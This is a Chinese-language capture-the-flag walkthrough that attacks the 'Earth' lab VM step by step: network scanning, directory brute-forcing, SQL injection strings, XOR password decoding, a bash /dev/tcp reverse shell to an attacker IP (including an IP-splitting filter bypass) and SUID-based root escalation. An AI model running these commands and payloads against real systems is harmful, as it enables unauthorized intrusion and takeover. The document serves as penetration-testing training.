本题使用第三种【arp-scan -l】扫描靶机
法1:【nmap】扫描器
nmap -sn
是使用 nmap 工具执行的命令,它用于进行主机发现,并对目标网络中的主机进行快速扫描。
【nmap -sn 网段/24】
nmap
:表示执行 nmap 命令。-sn
:是 nmap 命令的选项之一,代表进行 Ping 扫描,也称为“Ping Sweep”。使用此选项时,nmap 会向目标网络中的主机发送 ICMP Echo Request(ping)消息,以确定哪些主机是活动的。该命令的目的是快速扫描目标网络中的主机,通过向主机发送 ping 消息来确认其可达性而不进行端口扫描。如果目标主机对 ping 请求做出响应,表示该主机处于活动状态,nmap 将显示其 IP 地址。如果目标主机未响应,nmap 不会提供其他详细信息。
显示了经过 Ping 扫描后,发现的活动主机的 IP 地址和响应时间(latency)。
法2:【fping -age 网段/24】
fping
是一个网络工具,用于快速检测目标主机的可达性
fping
:表示执行 fping 命令。-a
:是 fping 命令的选项之一,代表显示可达的主机。使用此选项后,fping 将列出所有被检测到的可达主机的 IP 地址。-g
:是 fping 命令的选项之一,代表使用 CIDR 表示法指定要扫描的 IP 范围。例如,可以使用 -g 192.168.0.0/24
来指定扫描 192.168.0.0 子网中的所有 IP。-e
:是 fping 命令的选项之一,代表显示探测超时的主机。使用此选项后,fping 将列出未响应或探测超时的主机的 IP 地址。fping -age
命令会执行 fping,并以三个选项的组合方式运行。它会扫描指定范围内的主机,并列出可达的主机、未响应的主机和探测超时的主机的 IP 地址。因为会对所有ip进行扫描,所以一般不使用,使用其他两种方法即可
法3:【arp-scan -l】
【arp-scan】:是一个常用的用于扫描局域网中主机的工具
【-l】:代表进行局域网扫描并显示结果列表。
nmap -sT --min-rate 10000 -p- 靶机ip地址 [-oA [文件夹]/[文件名]]
nmap
:表示执行 nmap 命令。-sT
:是 nmap 命令的选项之一,代表使用 TCP 连接扫描模式。--min-rate 10000
:是 nmap 命令的选项之一,表示设置扫描速率的最小值为 10000 包/秒。-p-
:是 nmap 命令的选项之一,代表扫描目标主机的所有端口。[靶机IP地址]
:在命令中替换为目标主机的 IP 地址。例如,可以输入要扫描的主机的实际 IP 地址,如 192.168.0.1
。-oA [文件夹/文件名]
:是 nmap 命令的选项之一,指定将扫描结果保存到文件中的方式。-oA
后面跟着的是指定的文件夹和文件名。例如,可以输入要保存结果的文件夹路径和文件名,如 /path/to/folder/filename
。nmap -sT -sV -sC -O -p端口号(以,分隔) 靶机IP地址 [-oA [文件夹/文件名]]
nmap
:表示执行 nmap 命令。-sT
:是 nmap 命令的选项之一,代表使用 TCP 连接扫描模式。-sV
:是 nmap 命令的选项之一,表示进行服务版本识别。使用这个选项,nmap 会尝试识别目标主机上运行的服务及其版本信息。-sC
:是 nmap 命令的选项之一,表示执行一些默认的脚本。这些脚本可以提供更多的信息和漏洞检测。-O
:是 nmap 命令的选项之一,表示进行操作系统版本识别。使用这个选项,nmap 会尝试识别目标主机的操作系统信息。 ----【大写o】-p[端口号(以逗号分隔)]
:是 nmap 命令的选项之一,指定扫描的端口号。端口号以逗号分隔,并用于指定要扫描的特定端口。例如,可以输入要扫描的端口号列表,如 -p80,443,8080
。[靶机IP地址]
:在命令中替换为目标主机的 IP 地址。例如,可以输入要扫描的主机的实际 IP 地址,如 192.168.0.1
。-oA [文件夹/文件名]
:是 nmap 命令的选项之一,指定将扫描结果保存到文件中的方式。-oA
后面跟着的是指定的文件夹和文件名。例如,可以输入要保存结果的文件夹路径和文件名,如 /path/to/folder/filename
。发现443https端口开放了两个dns域名。需要配置hosts文件内添加dns,否则登陆靶机的ip页面会进行报错。
配置过程:将dns的域名添加到/etc/hosts文件下。
如果不添加域名到hosts文件内,那么利用域名无法登陆该靶机的页面。
在Linux中,hosts文件是一个文本文件,用于将特定的主机名映射到相应的 IP 地址。它充当了本地系统的静态DNS解析器,用于在没有通过域名服务器进行域名解析时,将主机名解析为对应的IP地址。hosts文件的作用有以下几个方面:
主机名解析:hosts文件中列出的每一行都包含一个IP地址和一个或多个主机名。当系统在进行网络通信时,会首先查找hosts文件以确定与特定主机名相关联的IP地址。这可以避免需要通过DNS服务器进行解析,提高网络访问速度。
屏蔽广告和恶意网站:通过将特定的广告服务器或恶意网站的域名映射到无效的IP地址(例如127.0.0.1),可以阻止这些域名的访问。这样做可以提供一定程度的广告屏蔽和安全性。
本地开发和测试:可以使用hosts文件在本地模拟域名解析,将域名指向本地的开发或测试服务器,方便进行本地开发和调试。
绕过DNS解析配置问题:当DNS服务器不可用或配置错误时,可以通过编辑hosts文件手动添加或修改主机名和IP地址的映射关系,绕过DNS解析问题。
利用vim编译器等相关命令
输入【靶机ip 域名 域名 …】,【:wq】— 保存退出
再次通过两个域名登录,发现登陆成功,发现两个页面内容一致
nmap -p端口号,端口号,端口号,...... -A --script=vuln 靶机ip
nmap
:表示执行 nmap 命令。-p22,80,443
:是 nmap 命令的选项之一,指定要扫描的端口号。在此命令中,端口号22、80和443被指定为要扫描的端口。这些端口通常用于SSH(22)、HTTP(80)和HTTPS(443)服务。-A
:是 nmap 命令的选项之一,启用“全面扫描”模式。它会执行诸如操作系统版本识别、服务版本识别等额外的操作。--script=vuln
:是 nmap 命令的选项之一,指定要执行的脚本。在此命令中,vuln 脚本被指定用于执行漏洞扫描。nmap -sU -p端口号,端口号,... 靶机ip
nmap
:表示执行 nmap 命令。-sU
:是 nmap 命令的选项之一,指定要执行UDP端口扫描。-p22,80,443
:是 nmap 命令的选项之一,指定要扫描的端口号。在此命令中,端口号22、80和443被指定为要扫描的UDP端口。这些端口通常用于SSH(22)、HTTP(80)和HTTPS(443)服务。192.168.85.146
:是指定要扫描的目标主机的IP地址。该命令的含义是使用 nmap 工具对 IP 地址为 192.168.85.146 的主机进行UDP端口扫描。它会扫描主机的 22、80 和 443 端口,判断这些端口是否处于开放状态
尝试进入【admin】用户页面,出现如下界面
点进【log in】
查看源代码
在尝试用另一个域名登陆页面。进入【admin】用户。发现和上一个域名所显示的结果一致。
查看源代码
发现源代码内有身份认证token,刷新一次变化一次,那说明不是我们所要找的
两个域名所属的80端口都已经查看完毕,发现并没有什么有用的信息。
接下来
尝试访问443端口,在http后加一个s即可,两个域名都需要访问,一个都不放过。
查看一下源代码。
访问第二个域名页面,发现有不一样的地方。
那么这个不一样的页面就是注重查看的,对该地址进行爆破。
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://terratest.earth.local/
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://terratest.earth.local/ -k
gobuster` 是一个常用的目录和文件扫描工具,用于在目标网站上查找存在的目录和文件。下面是给出的命令解释:
`dir` 表示使用目录模式进行扫描。
`-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` 指定了要使用的字典文件路径。在这里,使用的是 `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` 这个字典文件,该字典文件包含了一系列常见的目录和文件名称。
-u https://terratest.earth.local/` 指定了目标网站的URL,即 https://terratest.earth.local/。
-k:表示忽略 SSL 证书验证,即不对服务器的 SSL 证书进行验证。这通常在测试或漏洞扫描过程中使用,以便处理自签名证书或无效证书的情况。
综合起来,这个命令的含义是对 https://terratest.earth.local/ 这个网站进行目录扫描,使用指定的字典文件来尝试发现存在的目录。这样可以帮助识别目标网站中可能存在的隐藏目录或文件,从而发现潜在的漏洞或未授权访问点。
' or '1'='1'` 是一种常见的 SQL 注入攻击中使用的语句片段。SQL 注入是一种安全漏洞,攻击者利用该漏洞通过恶意注入 SQL 代码来绕过应用程序的验证和控制,从而执行未经授权的操作或获取敏感数据。
在特定情况下,当应用程序没有正确处理用户输入并构建 SQL 查询时,攻击者可以在用户输入中插入额外的代码,改变原始查询的含义。在这种情况下,【' or '1'='1'】的目的是绕过应用程序的认证或过滤条件,使得条件始终为真。
该语句片段的含义如下:
- 单引号 `'` 表示字符串的开始和结束。
- or 是 SQL 中的逻辑运算符,表示逻辑或。
- `1` 是一个值为 1 的表达式。
- `'1'='1'` 是一个逻辑表达式,比较两个字符串是否相等。由于这里两个字符串都是相同的 `'1'`,所以表达式始终为真。
通过将 `or '1'='1'` 插入到原始 SQL 查询中,攻击者可以欺骗应用程序,绕过原来的认证或过滤条件,从而执行一些额外的操作。请注意,SQL 注入漏洞是一种严重的安全风险,开发人员应该采取适当的预防措施来防止它的发生,如使用参数化查询、输入验证和过滤等。
' or '1'='1'# 是在 SQL 注入攻击中使用的注释语法。它与之前提到的 ' or '1'='1' 类似,目的也是绕过应用程序的认证或过滤条件,使得条件始终为真。
该语句片段的含义如下:
单引号 ' 表示字符串的开始和结束。
or 是 SQL 中的逻辑运算符,表示逻辑或。
1 是一个值为 1 的表达式。
'1'='1' 是一个逻辑表达式,比较两个字符串是否相等。由于这里两个字符串都是相同的 '1',所以表达式始终为真。
# 是 SQL 中的注释标记,表示从该位置开始直到行末的内容都被注释掉,不会被执行。
通过将 ' or '1'='1'# 插入到原始 SQL 查询中,攻击者使整个查询变为一个逻辑表达式,条件始终为真。同时,由于 # 后面的内容被注释掉,后续的代码在执行时将被忽略。
这种注释语法常用于绕过应用程序的输入验证和过滤,攻击者通过在输入中注入恶意代码并使用注释来确保恶意代码不会被截断或干扰正常的查询语句。为了防止 SQL 注入攻击,开发人员应该采取适当的预防措施,如使用参数化查询、输入验证和过滤等。
" or '1'='1'-- - 是一个在 SQL 注入攻击中使用的注入语法。
该语句片段的含义如下:
双引号 " 表示字符串的开始和结束。
or 是 SQL 中的逻辑运算符,表示逻辑或。
单引号 ' 也表示字符串的开始和结束。
1 是一个值为 1 的表达式。
'1'='1' 是一个逻辑表达式,比较两个字符串是否相等。由于这里两个字符串都是相同的 '1',所以表达式始终为真。
-- 是 SQL 的注释标记,表示从该位置开始直到行末的内容都被注释掉,不会被执行。
- 是 SQL 注释语句的结束标记。
通过将 " or '1'='1'-- - 插入到原始 SQL 查询中,攻击者试图绕过应用程序的输入验证和过滤。由于注释语句 -- - 的存在,后面的代码将被注释掉,从而确保恶意代码不会被执行。
这种注入语法的目的是使整个查询条件始终为真,绕过应用程序的认证或过滤条件。为了防止 SQL 注入攻击,开发人员应该采取预防措施,如使用参数化查询、输入验证和过滤等。同时,还应该遵循最佳实践,例如对用户输入进行适当的转义和验证。
" or sleep(3)-- -` 是一个在 SQL 注入攻击中使用的注入语法。
该语句片段的含义如下:
- 双引号 `"` 表示字符串的开始和结束。
- `or` 是 SQL 中的逻辑运算符,表示逻辑或。
- `sleep(3)` 是一个数据库函数,用于在指定的秒数内暂停执行。在这种情况下,`sleep(3)` 表示要暂停执行 3 秒钟。
- `--` 是 SQL 的注释标记,表示从该位置开始直到行末的内容都被注释掉,不会被执行。
- `-` 是 SQL 注释语句的结束标记。
通过将 `" or sleep(3)-- -` 插入到原始 SQL 查询中,攻击者试图通过造成延迟来测试应用程序是否存在 SQL 注入漏洞。如果应用程序对输入没有进行正确的验证和过滤,并且允许攻击者将此注入语句插入到 SQL 查询中,那么查询将会暂停执行 3 秒钟。这可以让攻击者判断查询的执行时间是否与预期相符,从而推断出注入漏洞的存在。
为了防止 SQL 注入攻击,开发人员应该采取预防措施,如使用参数化查询、输入验证和过滤等。同时,还应该遵循最佳实践,例如对用户输入进行适当的转义和验证,以及限制数据库用户的权限。
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u https://terratest.earth.local/ -k
gobuster dir:指定 gobuster 工具在 "目录模式" 下执行,用于查找目录。
-w /usr/share/wordlists/dirb/common.txt:指定 gobuster 使用的字典文件的路径。在这种情况下,使用的是 common.txt 字典文件,该文件包含了一系列常见的目录名。
-u https://terratest.earth.local/:指定要进行目录扫描的目标 URL,即目标网站的地址。在这个例子中,目标 URL 是 https://terratest.earth.local/。
-k:表示忽略 SSL 证书验证,即不对服务器的 SSL 证书进行验证。这通常在测试或漏洞扫描过程中使用,以便处理自签名证书或无效证书的情况。
因此,该命令的含义是使用 gobuster 工具,在给定的目标网站上进行目录扫描。通过发送 HTTP 请求并使用给定的字典文件,gobuster 将尝试发现目标网站中可能存在的隐藏目录,并输出相应的结果。由于使用了 -k 参数,将忽略对 SSL 证书的验证。
发现有一个【robots.txt】文件
尝试利用443端口登陆第二个域名+/robots.txt 页面
robots.txt 是一个位于网站根目录下的文本文件,用于指示搜索引擎爬虫(蜘蛛)如何访问和处理网站的内容。
当搜索引擎蜘蛛访问一个网站时,它会首先查找并读取 robots.txt 文件。这个文件中包含了一些规则和指令,告诉蜘蛛哪些页面可以被访问,哪些页面不可访问,以及其他相关的限制和要求。
robots.txt 文件使用简单的语法来描述规则。以下是一些常见的指令:
User-agent:指定要应用规则的搜索引擎蜘蛛。
Disallow:指示蜘蛛不应访问的页面路径。
Allow:指示蜘蛛可以访问的页面路径。
Sitemap:指定网站地图文件的位置。
【disallow】表示爬虫不允许访问以下文件
最后一个后缀名不知道,那么就需要尝试上面的所有后缀,最后发现是txt后缀
尝试使用80端口进入/robots.txt 文件下,发现进不去
发现了使用了XOR加密,也得到了【terra】是管理员的用户名。也得到了【testdata.txt】是用于测试加密的文件
尝试进入【testdata.txt】测试加密的文件。
发现是一大串加密代码,不是加密方式,是异或算法
XOR(异或运算)不是一种加密方式,而是一种位运算操作。它用于比特位之间的逻辑运算,并在计算机科学和密码学中经常使用。
XOR 运算有以下特点:
如果两个输入位相同,则输出结果为 0。
如果两个输入位不同,则输出结果为 1。
在密码学中,XOR 运算常用于加密和解密数据。它的应用场景包括:
加密:通过将数据与密钥进行 XOR 运算,可以对数据进行加密。只有拥有正确密钥的人能够正确解密数据。
哈希函数:一些哈希函数(如 CRC32)使用 XOR 运算来计算校验和。
数据完整性检查:通过对数据和校验和进行 XOR 运算,可以验证数据的完整性。如果校验和与数据异或的结果为 0,则说明数据完整。
需要注意的是,XOR 运算并不提供强大的加密功能,因为它是可逆的,且如果密钥长度较短,可能容易受到密码分析攻击。因此,在实际的加密过程中,通常会使用更复杂和安全的加密算法,如 AES、RSA 等。
earthclimatechangebad4humans
尝试使用【earthclimatechangebad4humans】密码来登陆ssh,发现密码不对,说明不是ssh的登录密码。
【ssh 用户名@用户名ip地址】
"ssh terra@ip" 是一条命令,其中 "terra" 是远程服务器的用户名,"ip" 则代表远程服务器的 IP 地址。这条命令的含义是使用 SSH(Secure Shell)协议连接到指定 IP 地址对应的远程服务器,并使用 "terra" 用户进行身份验证。
通过输入这个命令并成功验证身份后,你可以在本地计算机上与远程服务器建立一个安全的加密连接。这使得你能够在本地终端或命令行界面上执行远程服务器上的命令、浏览和管理文件,或进行其他远程操作。
请注意,实际使用时,你需要将 "ip" 替换为实际的远程服务器 IP 地址,并确保你有相应的访问权限来进行远程连接。
于是就登录成功。两个域名都可以使用,切暂时使用域名为【terratest.earth.local】页面
尝试使用一些命令
输入【ls】,显示该用户下的目录
开启一个监听端口
命令 nc -lvvp 端口号 是用于在本地计算机上监听指定端口号的网络连接。
具体来说:
nc 是 netcat 命令的简写,是一个网络工具,用于处理网络连接和数据传输。
-l 表示监听模式,让 nc 命令处于监听状态,等待传入的连接。
-v 启用详细输出模式,将显示更多关于连接状态和数据传输的信息。
-p 端口号 指定要监听的端口号。
因此,当你在本地计算机上运行 nc -lvvp 端口号 命令后,该命令会在指定的端口号上启动一个监听器,等待传入的网络连接。一旦有连接请求到达该端口,该命令将接受连接并显示传入数据的相关信息。
请注意,在实际使用时,你需要将 "端口号" 替换为实际要监听的端口号,且确保该端口号未被其他应用程序占用。
建立一个【反弹shell连接】
【bash -c ‘exec bash -1 &>/dev/tcp/攻击机ip/设置的监听端口号<&1’】
命令 bash -c 'exec bash -1 &>/dev/tcp/192.168.1.8/4444<&1' 是用于在目标主机上建立一个反向 shell 连接。
具体来说:
bash -c 用于执行后面的命令字符串。
'exec bash -1 &>/dev/tcp/192.168.1.8/4444<&1' 是要执行的命令字符串。
在命令字符串中:
exec bash -1 创建一个新的 Bash Shell,并将其标准输入、输出和错误都重定向到一个网络套接字。
&>/dev/tcp/192.168.1.8/4444 是将标准输出和错误重定向到指定的 IP 地址(192.168.1.8)和端口号(4444),意味着命令的输出和错误信息将通过网络发送到该地址和端口。
<&1 是将标准输入重定向到之前创建的网络套接字,这样命令就可以通过网络接收输入。
简而言之,该命令的目的是在目标主机上启动一个反向 shell,以便与远程控制者建立连接。经过此命令处理后,在监听地址(192.168.1.8)和端口号(4444)上运行的监听器将接收来自目标主机的连接,并可通过该连接执行命令、交互等操作。
输入后,发现进制远程连接
要考虑到可能是对ip进行了监听,尝试输入ip看看效果,发现后确实是
开始拆分ip,绕过检查,然后执行。export将变量变为全局变量,不加只会在168之前生效,不会再后面生效
监听的ip地址为攻击机的。不是靶机的ip
export ip1="192.168";export ip2=".85.153";bash -c 'exec bash -i &>/dev/tcp/$ip1$ip2/4444<&1'
例:
这个命令 export ip1="192.168";export ip2=".1.8";bash -c 'exec bash -i &>/dev/tcp/$ip1$ip2/4444<&1' 旨在在目标主机上建立一个反向 shell 连接,但与先前的命令有些不同。
具体来说:
export ip1="192.168" 和 export ip2=".1.8" 是将两个环境变量 ip1 和 ip2 分别设置为封装 IP 地址的一部分。ip1 被设置为字符串 "192.168",ip2 被设置为字符串 ".1.8"。
bash -c 'exec bash -i &>/dev/tcp/$ip1$ip2/4444<&1' 是要执行的命令字符串,其中 $ip1 和 $ip2 是之前设置的环境变量的引用。
在命令字符串中:
exec bash -i 创建一个新的 Bash Shell,并打开一个交互式会话(保持输入输出连接)。
&>/dev/tcp/$ip1$ip2/4444 是将该 Bash Shell 的标准输入、输出和错误都重定向到指定的 IP 地址和端口号。在这里,使用了之前设置的环境变量 ip1 和 ip2 来构建 IP 地址。
<&1 是将标准输入重定向为之前创建的网络套接字,以便从网络接收输入。
总结起来,该命令的目的是在目标主机上启动一个反向 shell,通过环境变量 ip1 和 ip2 动态构建 IP 地址,并与远程控制者建立连接。通过该连接,你可以执行命令、交互等操作。
需要注意的是,在实际使用中,请确保遵守适用法律和道德规范,并获得合法授权或者与安全团队协调,以避免非法使用或不当使用。同时,确保设置的 IP 地址和端口在网络环境中是可达的。
"reset_root" 是一个不常见的术语,根据常见的上下文来推测,它可能是指重置(reset)系统的 root 用户。
在 Linux 和类 Unix 系统中,root 用户是具有最高权限的超级用户。通常情况下,root 用户具有对系统的完全控制权限,可以执行任何操作,包括修改文件、安装软件等。
"reset_root" 可能表示重新设置 root 用户的配置或权限,以确保其安全和正确性。这可能涉及到重置 root 用户的密码、重新配置其访问权限,或还原与 root 用户相关的设置。
查看有哪些可以利用的权限
find / -type f -perm -u=s 2>/dev/null
是一个用于在系统中查找具有 Setuid(SUID)权限的文件的命令。下面是命令中的参数解释:
find
:用于在文件系统中查找文件和目录的命令。/
:指定要搜索的根目录,此处为根目录 /
。-type f
:指定要查找的是文件类型为普通文件(非目录、符号链接等)。-perm -u=s
:指定查找文件权限中 User(所有者)部分具有 Setuid 位设置的文件。2>/dev/null
:将错误输出重定向到 /dev/null
,即丢弃错误信息。命令的含义是在系统的根目录下递归地查找具有 Setuid 权限的普通文件,并将结果打印出来。Setuid 权限允许普通用户以拥有该文件所有者的权限来执行该文件,这可以用于实现一些需要高权限执行的特定功能。
sudo -l
是一个用于列出当前用户在系统上具有的 sudo 权限的命令。下面是命令中的参数解释:
sudo
:用于以超级用户或其他指定用户的身份来执行命令。-l
:表示列出用户的 sudo 权限。该命令的含义是以当前用户的身份,查询其在系统上被授予的 sudo 特权,并显示与该用户相关的 sudo 配置和权限信息。
Crontab 是一种用于定时执行任务的工具,允许用户根据指定的时间和频率来自动执行脚本或命令。
权限检查,有哪些特殊工具可以使用提权,然而并没有
尝试执行一下【reset_root】
把二进制文件可以编码输入的字符串找出来,不能按【Ctrl+c】
strings reset_root
是一个用于提取二进制文件中可打印字符串的命令。下面是命令中的参数解释:
对【reset_root】增加一个权限,运行此文件
利用ghidra工具。一个逆向工具,将二进制文件还原成可读性高的工具
没有项目,新建一个项目,点击File→New project→Next,
之前选择的路径下,有【reset_root】文件,选中点击查看select
点击ok,进行加载
如果未被分析,点击ok,然后再点击全部分析
往下拉的内容
双击【magic_cipher】,显示代码
可以再点击【acess】查看内容代码
再使用【ltrace】工具
【ltrace 】是一个用于跟踪和输出程序库函数调用的工具
【-p】递归建立
改变属有者,属有组,在执行reset_root,发现密码重置成【Earth】
开始进攻靶机
自启【./reset_root】
切换用户【su】,输入密码【Earth】
查看id,发现是root用户